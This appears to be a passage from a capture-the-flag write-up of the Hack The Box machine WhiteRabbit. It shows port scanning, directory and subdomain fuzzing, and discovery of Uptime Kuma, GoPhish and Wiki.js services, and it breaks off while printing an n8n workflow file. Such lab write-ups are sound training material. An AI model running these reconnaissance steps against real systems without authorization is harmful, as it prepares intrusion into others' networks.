RETURN_TO_HOME

HTB WhiteRabbit - Linux (Insane)

HTB WhiteRabbit - Linux (Insane)

Enumerate 5+ HTTP to attack, find SQL Injection to restore Key inside GTFObin, PrivEsc with attacking insecure AES and Restic, then lateral movement between Users and find binary to RE, then root UID.

From HTB: -

The confusing parts are gonna be the Multiple unnecessary domain and multiple Local User on the Linux Box, and for the sake of Write-Ups, my explanation would be very straight-forwards.

  1. Network Enumeration and Port Discovery
┌──(kali㉿kali)-[~]
└─$ ping -c2 10.10.11.63           
PING 10.10.11.63 (10.10.11.63) 56(84) bytes of data.
64 bytes from 10.10.11.63: icmp_seq=1 ttl=63 time=259 ms
64 bytes from 10.10.11.63: icmp_seq=2 ttl=63 time=258 ms
--- 10.10.11.63 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1385ms
rtt min/avg/max/mdev = 257.886/258.243/258.601/0.357 ms

Continue with NMAP Scan:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p- --min-rate 8000 10.10.11.63 -oA nmap/nmapscan
Starting Nmap 7.95 ( https://nmap.org ) at
Nmap scan report for 10.10.11.63
Host is up (0.26s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1
Nmap done: 1 IP address (1 host up) scanned in seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p22,80,2222 -sC -sV -sCV -A -n 10.10.11.63 -oA nmap/nmapscan-ports
Starting Nmap 7.95 ( https://nmap.org ) at 
Nmap scan report for 10.10.11.63
Host is up (0.26s latency).
<details> <summary>Click to view text output</summary>
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_  256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp   open  http    Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
|_http-server-header: Caddy
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_  256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</details>
TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   257.43 ms 10.10.14.1
2   257.27 ms 10.10.11.63
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in seconds

And Network merge possibility:

┌──(kali㉿kali)-[~]
└─$ sudo dig -q opt 10.10.11.63
; <<>> DiG 9.20.9-1-Debian <<>> -q opt 10.10.11.63
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15290
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;opt.                           IN      A
;; Query time: 8 msec
;; SERVER: 192.168.100.1#53(192.168.100.1) (UDP)
;; WHEN: Thu Nov 06 13:47:17 UTC 2025
;; MSG SIZE  rcvd: 32
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 453
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;10.10.11.63.                   IN      A
;; AUTHORITY SECTION:
.                       3600    IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2025110600 1800 900 604800 86400
;; Query time: 84 msec
;; SERVER: 192.168.100.1#53(192.168.100.1) (UDP)
;; WHEN: 
;; MSG SIZE  rcvd: 115

Right of the bat we got a domain, take a note that there’s 2 open SSH access, and our first HTTP:

whiterabbit.htb

But it’s getting worse, buckle-up hackers.

  1. Web Application Service Enumeration

<details> <summary>Click to view bash output</summary>
┌──(kali㉿kali)-[~]
└─$ sudo feroxbuster -u http://whiterabbit.htb/                                                                          
                                                                                                                                                                                                                                            
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben “epi” Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://whiterabbit.htb/
 🚩  In-Scope Url          │ whiterabbit.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      272l     1503w   786506c http://whiterabbit.htb/phish.png
200      GET       64l      415w   766716c http://whiterabbit.htb/uptime.png
200      GET      318l     1843w   896233c http://whiterabbit.htb/n8n.png
200      GET      116l      510w     6109c http://whiterabbit.htb/
[##>-----------------] - 52s     4469/30003   4m      found:4       errors:2      
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_whiterabbit_htb_-1762437218.state ...
[##>-----------------] - 52s     4474/30003   4m      found:4       errors:2      
[##>-----------------] - 52s     4463/30000   86/s    http://whiterabbit.htb/ 
[--------------------] - 0s         0/30000   -       http://whiterabbit.htb/phish.png
</details>

Seems nothing, continue with Subdomain enumeration:

. . .After 7+ minutes, we got a subdomain:

<details> <summary>Click to view bash output</summary>
┌──(kali㉿kali)-[~]
└─$ sudo gobuster dns -d whiterabbit.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt                 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     whiterabbit.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Progress: 7917 / 114443 (6.92%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 7919 / 114443 (6.92%)
===============================================================
Finished
===============================================================
</details>
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://whiterabbit.htb -H “Host:FUZZ.whiterabbit.htb” -mc 200,302 -fs 0
        /’___\  /’___\           /’___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v2.1.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://whiterabbit.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.whiterabbit.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,302
 :: Filter           : Response size: 0
________________________________________________
status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 276ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

FFUF doing much faster.

http://status.whiterabbit.htb/

We can try regular admin:admin, and more.

Let’s automate the Directory discovery and hope some sensitive files can be seen by public:

  • Ferox

  • Dirsearch

  • thc-Nuclei

Busted.

┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://status.whiterabbit.htb/
  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                                                                                            
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                     
                                                                                                                                                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: 
Target: http://status.whiterabbit.htb/
<details> <summary>Click to view text output</summary>
[14:21:44] Starting:                                                                                                                                                                                                                        
[14:23:21] 301 -  179B  - /assets  ->  /assets/                             
[14:24:05] 200 -   15KB - /favicon.ico                                      
[14:24:34] 200 -  415B  - /manifest.json                                    
[14:24:37] 401 -    0B  - /metrics                                          
[14:24:37] 401 -    0B  - /metrics/                                         
[14:25:10] 200 -   25B  - /robots.txt                                       
[14:25:12] 301 -  189B  - /screenshots  ->  /screenshots/                   
[14:25:28] 404 -    2KB - /status/                                          
[14:25:29] 404 -    2KB - /status?full=true                                 
[14:25:29] 404 -    2KB - /status                                           
[14:25:43] 301 -  179B  - /Upload  ->  /Upload/                             
[14:25:43] 301 -  179B  - /upload  ->  /upload/
[14:25:43] 404 -   15B  - /upload/                                          
[14:25:44] 404 -   15B  - /upload/1.php                                     
[14:25:44] 404 -   15B  - /upload/upload.php                                
[14:25:44] 404 -   15B  - /upload/b_user.csv                                
[14:25:44] 404 -   15B  - /upload/test.php
[14:25:44] 404 -   15B  - /upload/2.php
[14:25:44] 404 -   15B  - /upload/loginIxje.php
[14:25:44] 404 -   15B  - /upload/test.txt
[14:25:44] 404 -   15B  - /upload/b_user.xls                                
                                                                             
Task Completed
</details>

Ferox gave us more:

<details> <summary>Click to view bash output</summary>
┌──(kali㉿kali)-[~]
└─$ sudo feroxbuster -u http://status.whiterabbit.htb/ --filter-status 404
                                                                                                                                                                                                                                            
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben “epi” Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://status.whiterabbit.htb/
 🚩  In-Scope Url          │ status.whiterabbit.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       38l      143w     2444c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        1l        4w       32c http://status.whiterabbit.htb/ => http://status.whiterabbit.htb/dashboard
301      GET       10l       16w      179c http://status.whiterabbit.htb/assets => http://status.whiterabbit.htb/assets/
301      GET       10l       16w      179c http://status.whiterabbit.htb/upload => http://status.whiterabbit.htb/upload/
404      GET        1l        3w       15c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET       10l       16w      179c http://status.whiterabbit.htb/Upload => http://status.whiterabbit.htb/Upload/
200      GET       12l      109w     8738c http://status.whiterabbit.htb/apple-touch-icon.png
200      GET        9l      104w     1168c http://status.whiterabbit.htb/icon.svg
200      GET       19l       33w      415c http://status.whiterabbit.htb/manifest.json
301      GET       10l       16w      189c http://status.whiterabbit.htb/screenshots => http://status.whiterabbit.htb/screenshots/
200      GET       16l    15055w   489978c http://status.whiterabbit.htb/assets/index-CYsZUv7d.js
200      GET        6l     4036w   194400c http://status.whiterabbit.htb/assets/index-ClrZ0SaR.css
200      GET       23l       72w     2444c http://status.whiterabbit.htb/ctl
301      GET       10l       16w      179c http://status.whiterabbit.htb/UPLOAD => http://status.whiterabbit.htb/UPLOAD/
200      GET       23l       72w     2444c http://status.whiterabbit.htb/assets/host
401      GET        0l        0w        0c http://status.whiterabbit.htb/metrics
200      GET       23l       72w     2444c http://status.whiterabbit.htb/deployment
200      GET       23l       72w     2444c http://status.whiterabbit.htb/screenshots/keys
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Upload/bbtcomment
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Upload/chile
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Upload/dbtest
401      GET        0l        0w        0c http://status.whiterabbit.htb/Metrics
200      GET       23l       72w     2444c http://status.whiterabbit.htb/screenshots/KY
200      GET       23l       72w     2444c http://status.whiterabbit.htb/screenshots/dwzUpload
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Upload/ide
200      GET       23l       72w     2444c http://status.whiterabbit.htb/UPLOAD/advisories
301      GET       10l       16w      189c http://status.whiterabbit.htb/Screenshots => http://status.whiterabbit.htb/Screenshots/
301      GET       10l       16w      179c http://status.whiterabbit.htb/UpLoad => http://status.whiterabbit.htb/UpLoad/
200      GET       23l       72w     2444c http://status.whiterabbit.htb/UPLOAD/rhs
200      GET       23l       72w     2444c http://status.whiterabbit.htb/UPLOAD/scom
200      GET       23l       72w     2444c http://status.whiterabbit.htb/forum_abuse
200      GET       23l       72w     2444c http://status.whiterabbit.htb/assets/fbs
200      GET       23l       72w     2444c http://status.whiterabbit.htb/foundations
200      GET       23l       72w     2444c http://status.whiterabbit.htb/screenshots/aguadulce
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Screenshots/27
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Screenshots/greetings
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Screenshots/oldweb
200      GET       23l       72w     2444c http://status.whiterabbit.htb/screenshots/my_cart
200      GET       23l       72w     2444c http://status.whiterabbit.htb/screenshots/nuclear
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Upload/rafales
200      GET       23l       72w     2444c http://status.whiterabbit.htb/Upload/583
200      GET       23l       72w     2444c http://status.whiterabbit.htb/UpLoad/symfony
[#################>--] - 7m    213732/240056  2m      found:40      errors:36     
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_status_whiterabbit_htb_-1762439283.state ...
[#################>--] - 7m    213734/240056  2m      found:40      errors:36     
[####################] - 6m     30000/30000   89/s    http://status.whiterabbit.htb/ 
[####################] - 6m     30000/30000   90/s    http://status.whiterabbit.htb/assets/ 
[####################] - 5m     30000/30000   96/s    http://status.whiterabbit.htb/upload/ 
[####################] - 6m     30000/30000   88/s    http://status.whiterabbit.htb/Upload/ 
[####################] - 6m     30000/30000   88/s    http://status.whiterabbit.htb/screenshots/ 
[####################] - 6m     30000/30000   89/s    http://status.whiterabbit.htb/UPLOAD/ 
[###########>--------] - 3m     16753/30000   90/s    http://status.whiterabbit.htb/Screenshots/ 
[###########>--------] - 3m     16877/30000   91/s    http://status.whiterabbit.htb/UpLoad/           
</details>

However bunch of these are fake.

Some of these are fake, even metrics directory leading me to another Login pops-up.

Can’t crack it with admin:admin.

┌──(kali㉿kali)-[~]
└─$ sudo nuclei -target status.whiterabbit.htb
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.5
                projectdiscovery.io
<details> <summary>Click to view text output</summary>
[WRN] Found 1 templates with syntax error (use -validate flag for further examination)
[INF] Current nuclei version: v3.4.5 (outdated)
[INF] Current nuclei-templates version: v10.3.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 119
[INF] Templates loaded for current scan: 8775
[INF] Executing 79 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 8696 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Templates clustered: 1868 (Reduced 1739 Requests)
[INF] Using Interactsh Server: oast.pro
[snmpv3-detect] [javascript] [info] status.whiterabbit.htb:161 [”Enterprise: unknown”]
[ssh-password-auth] [javascript] [info] status.whiterabbit.htb:22
[ssh-server-enumeration] [javascript] [info] status.whiterabbit.htb:22 [”SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.9”]
[ssh-sha1-hmac-algo] [javascript] [info] status.whiterabbit.htb:22
[ssh-auth-methods] [javascript] [info] status.whiterabbit.htb:22 [”[”publickey”,”password”]”]
[openssh-detect] [tcp] [info] status.whiterabbit.htb:22 [”SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.9”]
[robots-txt] [http] [info] http://status.whiterabbit.htb/robots.txt
[options-method] [http] [info] http://status.whiterabbit.htb [”GET,HEAD”]
[robots-txt-endpoint] [http] [info] http://status.whiterabbit.htb/robots.txt
[uptime-kuma-panel] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:permissions-policy] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:x-content-type-options] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:referrer-policy] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:strict-transport-security] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:content-security-policy] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://status.whiterabbit.htb/dashboard
[http-missing-security-headers:clear-site-data] [http] [info] http://status.whiterabbit.htb/dashboard
[fingerprinthub-web-fingerprints:apilayer-caddy] [http] [info] http://status.whiterabbit.htb/dashboard
[tech-detect:caddy] [http] [info] http://status.whiterabbit.htb/dashboard
[fingerprinthub-web-fingerprints:apilayer-caddy] [http] [info] http://status.whiterabbit.htb
[tech-detect:caddy] [http] [info] http://status.whiterabbit.htb
[caa-fingerprint] [dns] [info] status.whiterabbit.htb
[INF] Scan completed in 5m. 25 matches found.
</details>

This many are fakes, but now we know it’s based with Uptime Kuma. So this is Uptime Kuma’s :

Supposed this services are for Monitoring stuff. Now we can use this for mapping old vulnerabilities, and more.

  1. HTTP Uptime Kuma Services Enumeration

Seems this projects are active, very. . .So supposed its got many CVE’s following the projects.

Back to the services I saw directory status leading us somewhere:

Seems blank, but it contains something:

And I supposed this endpoint should lead us to /status/temp:

Structure mechanism:

{"name":"Testpage (temporary)","start_url":"/status/temp","display":"standalone","icons":[{"src":"","sizes":"128x128","type":"image/png"}]}

And here we found more Subdomain:

a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb

One thing I noticed is that the operations are active,

Oh boi, the attack Surfaces are getting bigger, supposed we’re continuing with Other subdomain until we find something interesting.

  1. HTTP Attack Surface Enumeration

One interesting thing are probably CSRF Token:

HGxjhlUWuEhdGTB3ha5daN9V0&#43;SqmrUV9PM8cm8ZdXP5Q7yo2NO4ET8QDeKlnE06iz1X5WLdlxjJyP2nJiflFw==

And by using Ferox, nothing interesting and seems Fake like the last time:

<details> <summary>Click to view bash output</summary>
┌──(kali㉿kali)-[~]
└─$ sudo feroxbuster -u http://ddb09a8558c9.whiterabbit.htb/ --filter-status 404
                                                                                                                                                                                                                                            
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben “epi” Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://ddb09a8558c9.whiterabbit.htb/
 🚩  In-Scope Url          │ ddb09a8558c9.whiterabbit.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        4w       19c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
307      GET        2l        3w       60c http://ddb09a8558c9.whiterabbit.htb/templates => http://ddb09a8558c9.whiterabbit.htb/login?next=%2Ftemplates
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/images
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/js
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/css
200      GET       60l      143w     2568c http://ddb09a8558c9.whiterabbit.htb/login
307      GET        2l        3w       51c http://ddb09a8558c9.whiterabbit.htb/ => http://ddb09a8558c9.whiterabbit.htb/login?next=%2F
200      GET       22l      118w     8790c http://ddb09a8558c9.whiterabbit.htb/images/logo_purple.png
200      GET        7l       23w     1961c http://ddb09a8558c9.whiterabbit.htb/images/logo_inv_small.png
200      GET        1l        6w     2934c http://ddb09a8558c9.whiterabbit.htb/images/favicon.ico
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/db
307      GET        2l        3w       56c http://ddb09a8558c9.whiterabbit.htb/users => http://ddb09a8558c9.whiterabbit.htb/login?next=%2Fusers
307      GET        2l        3w       57c http://ddb09a8558c9.whiterabbit.htb/logout => http://ddb09a8558c9.whiterabbit.htb/login?next=%2Flogout
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/css/dist/
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/js/dist/
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/css/
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/images/
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/js/dist/app
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/js/
200      GET       23l     4883w   329304c http://ddb09a8558c9.whiterabbit.htb/css/dist/gophish.css
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/font
307      GET        2l        3w       57c http://ddb09a8558c9.whiterabbit.htb/groups => http://ddb09a8558c9.whiterabbit.htb/login?next=%2Fgroups
307      GET        2l        3w       59c http://ddb09a8558c9.whiterabbit.htb/settings => http://ddb09a8558c9.whiterabbit.htb/login?next=%2Fsettings
403      GET        1l        2w       14c http://ddb09a8558c9.whiterabbit.htb/js/src
200      GET       18l     5753w   379302c http://ddb09a8558c9.whiterabbit.htb/js/dist/vendor.min.js
307      GET        2l        3w       60c http://ddb09a8558c9.whiterabbit.htb/campaigns => http://ddb09a8558c9.whiterabbit.htb/login?next=%2Fcampaigns
[>-------------------] - 14s     8652/180013  5m      found:25      errors:0      
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_ddb09a8558c9_whiterabbit_htb_-1762440539.state ...
[>-------------------] - 14s     8689/180013  5m      found:25      errors:0      
[#>------------------] - 14s     1588/30000   116/s   http://ddb09a8558c9.whiterabbit.htb/
. . .[SNIP]. . .
</details>

So this is a GoPhish Services, this is a hackers services. But we needed to login. Let’s look-up for the others first then comeback.

Continue to, I believe this is Wiki stuff according to Kuma’s:

http://a668910b5514e.whiterabbit.htb/

So it’s based Wiki.Js, I found his and it seems active:

Back to Wiki.Js I only found a login page (again):

But now we know there’s Administrator, and by Clicking browse, we can see some Config of another Subdomain earlier.

This is for the GoPhish:

Scrolling down we find another Subdomain, and looking at the description, its says about some SQL injection:

The x-gophish-signature in each request plays a crucial role in ensuring the integrity and security of the data received by n8n. This HMAC (Hash-Based Message Authentication Code) signature is generated by hashing the body of the request along with a secret key.

The workflow’s verification of this signature ensures that the messages are not only intact but also are sent from an authorized source, significantly mitigating the risk of spoofed events for example SQLi attempts.

That could be our next attempt on the new Subdomain:

http://28efa8f7df.whiterabbit.htb/

Wiki.Js have nothing interesting.

Oh boi.

  1. Hunting Vulnerable SQL

This is exactly like the one we saw earlier on Wiki, if you look closely, it seems the end-points are in the WebHooks.

/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d

We supposed can try to look-up for the exact same directory or paste our session on-to BurpSuite:

But on Burp-Suite, it’s accepting. . .How?

I just realize this are for the GoPhish one. The Subdomain random strings makes me confused.

<details> <summary>Click to view text output</summary>
┌──(kali㉿kali)-[~]
└─$ cat gophish_to_phishing_score_database.json 
{
  “name”: “Gophish to Phishing Score Database”,
  “nodes”: [
    {
      “parameters”: {
        “respondWith”: “text”,
        “responseBody”: “Error: No signature found in request header”,
        “options”: {}
      },
      “id”: “c77c4304-a74e-4699-9b2c-52c7a8500fb4”,
      “name”: “no signature”,
      “type”: “n8n-nodes-base.respondToWebhook”,
      “typeVersion”: 1.1,
      “position”: [
        660,
        620
      ]
    },
    {
      “parameters”: {
        “respondWith”: “text”,
        “responseBody”: “Error: Provided signature is not valid”,
        “options”: {}
      },
      “id”: “da08f3e5-60c4-4898-ab28-d9f92aae2fe2”,
      “name”: “invalid signature”,
      “type”: “n8n-nodes-base.respondToWebhook”,
      “typeVersion”: 1.1,
      “position”: [
        1380,
        540
      ]
    },
    {
      “parameters”: {
        “operation”: “executeQuery”,
        “query”: “UPDATE victims\nSET phishing_score = phishing_score + 10\nWHERE email = $1;”,
        “options”: {
          “queryReplacement”: “={{ $json.email }}”
        }
      },
      “id”: “e83be7d7-0c4a-4ca8-b341-3a40739f8825”,
      “name”: “Update Phishing Score for Clicked Event”,
      “type”: “n8n-nodes-base.mySql”,
      “typeVersion”: 2.4,
      “position”: [
        2360,
        340
      ],
      “credentials”: {
        “mySql”: {
          “id”: “qEqs6Hx9HRmSTg5v”,
          “name”: “mariadb - phishing”
        }
      }
    },
    {
      “parameters”: {
        “conditions”: {
          “options”: {
            “caseSensitive”: true,
            “leftValue”: “”,
            “typeValidation”: “strict”
          },
          “conditions”: [
            {
              “id”: “ad6553f3-0e01-497a-97b5-3eba88542a11”,
              “leftValue”: “={{ $(’Webhook’).item.json.body.message }}”,
              “rightValue”: 0,
              “operator”: {
                “type”: “string”,
                “operation”: “exists”,
                “singleValue”: true
              }
            },
            {
              “id”: “2a041864-d4b5-4c7d-a887-68792d576a73”,
              “leftValue”: “={{ $(’Webhook’).item.json.body.message }}”,
              “rightValue”: “Clicked Link”,
              “operator”: {
                “type”: “string”,
                “operation”: “equals”,
                “name”: “filter.operator.equals”
              }
            }
          ],
          “combinator”: “and”
        },
        “options”: {}
      },
      “id”: “c4c08710-b02c-4625-bdc3-19de5653844d”,
      “name”: “If Clicked”,
      “type”: “n8n-nodes-base.if”,
      “typeVersion”: 2,
      “position”: [
        2120,
        320
      ]
    },
    {
      “parameters”: {
        “operation”: “executeQuery”,
        “query”: “UPDATE victims\nSET phishing_score = phishing_score + 50\nWHERE email = $1;”,
        “options”: {
          “queryReplacement”: “={{ $json.email }}”
        }
      },
      “id”: “220e3d9d-07f1-425e-a139-a51308737a89”,
      “name”: “Update Phishing Score for Submitted Data”,
      “type”: “n8n-nodes-base.mySql”,
      “typeVersion”: 2.4,
      “position”: [
        2360,
        560
      ],
      “credentials”: {
        “mySql”: {
          “id”: “qEqs6Hx9HRmSTg5v”,
          “name”: “mariadb - phishing”
        }
      }
    },
    {
      “parameters”: {
        “conditions”: {
          “options”: {
            “caseSensitive”: true,
            “leftValue”: “”,
            “typeValidation”: “strict”
          },
          “conditions”: [
            {
              “id”: “ad6553f3-0e01-497a-97b5-3eba88542a11”,
              “leftValue”: “={{ $(’Webhook’).item.json.body.message }}”,
              “rightValue”: 0,
              “operator”: {
                “type”: “string”,
                “operation”: “exists”,
                “singleValue”: true
              }
            },
            {
              “id”: “2a041864-d4b5-4c7d-a887-68792d576a73”,
              “leftValue”: “={{ $(’Webhook’).item.json.body.message }}”,
              “rightValue”: “Submitted Data”,
              “operator”: {
                “type”: “string”,
                “operation”: “equals”,
                “name”: “filter.operator.equals”
              }
            }
          ],
          “combinator”: “and”
        },
        “options”: {}
      },
      “id”: “9f49f588-12b7-4e3a-8d1a-74898b215d60”,
      “name”: “If Submitted Data”,
      “type”: “n8n-nodes-base.if”,
      “typeVersion”: 2,
      “position”: [
        2120,
        500
      ]
    },
    {
      “parameters”: {
        “respondWith”: “text”,
        “responseBody”: “Success: Phishing score is updated”,
        “options”: {}
      },
      “id”: “58eecf3c-97e9-4879-aaec-cd5759cb1ef8”,
      “name”: “Success”,
      “type”: “n8n-nodes-base.respondToWebhook”,
      “typeVersion”: 1.1,
      “position”: [
        2660,
        460
      ]
    },
    {
      “parameters”: {
        “conditions”: {
          “options”: {
            “caseSensitive”: true,
            “leftValue”: “”,
            “typeValidation”: “strict”
          },
          “conditions”: [
            {
              “id”: “8e2c34bd-a337-41e1-94a4-af319a991680”,
              “leftValue”: “={{ $json.signature }}”,
              “rightValue”: “={{ $json.calculated_signature }}”,
              “operator”: {
                “type”: “string”,
                “operation”: “equals”,
                “name”: “filter.operator.equals”
              }
            }
          ],
          “combinator”: “and”
        },
        “options”: {}
      },
